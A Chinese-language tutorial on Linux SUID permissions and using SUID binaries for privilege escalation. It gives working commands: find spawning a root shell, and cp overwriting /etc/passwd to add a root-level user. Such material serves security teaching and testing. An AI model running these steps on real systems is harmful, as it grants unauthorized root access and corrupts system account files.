suid提权命令大全https://gtfobins.github.io/
@
🍫suid简述
SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。
在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中,是root权限。
suid权限仅对二进制程序有效(binary program)(系统中的一些命令),不能用在脚本上(script)。;
执行者对于该程序需要具有x的可执行权限;
本权限仅在执行该程序的过程中有效(run-time);
执行者将具有该程序拥有者的权限。
🍫设置suid权限
chmod u+s /usr/bin/find
ll /usr/bin | grep find
chmod u+s /usr/bin/find
ll /usr/bin | grep find
当s这个标志出现在文件所有者的x权限上时,如/usr/bin/find这个文件的权限状态:“-rwsr-xr-x.”,此时就被称为Set UID,简称为SUID
🍫查找拥有suid权限的程序
不同系统适用于不同的命令
1、
find / -perm -u=s -type f 2>/dev/null
-perm
指定权限
-u=s
表示SUID权限
-type
指定文件类型
f
表示常规文件,而不是目录或特殊文件
2
表示该进程的第二个文件描述符,即stderr(标准错误)
/dev/null
是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
find命令具有suid权限(是因为我们上一步添加的)
2、
find / -user root -perm -4000 -exec ls -ldb {} ;
3、
find / -user root -perm -4000 -print 2>/dev/null
🍫各种提权命令
常见具有SUID权限的二进制可执行文件如下
nmap vim find bash more less nano cp awk
这个网站是大全 https://gtfobins.github.io/
find命令
筛选出了所有具有suid权限之后,可以提权的命令
找到find
这就是find拥有suid权限的提权命令了
./find . -exec /bin/sh -p \; -quit
提权成功了
cp命令
以普通用户运行cp命令时,此时的cp权限就为root,利用时,可以cp把/etc/passwd复制到桌面,然后进行修改。
用openssl生成一个密码
openssl passwd -1 -salt hello abc
passwd参数代表生成一个密码,-1为md5,-salt指定盐(随意指定),最后跟要加密的值,也就是密码abc。
按照etc/passwd的格式添加一个新用户,权限按root的写即可。
cp ./passwd /etc/passwd
替换/etc/passwd
tail -n 3 /etc/passwd
查看是否替换成功
su abc
输入密码abc
登录成功,则为root权限了
其他常用命令,后续补充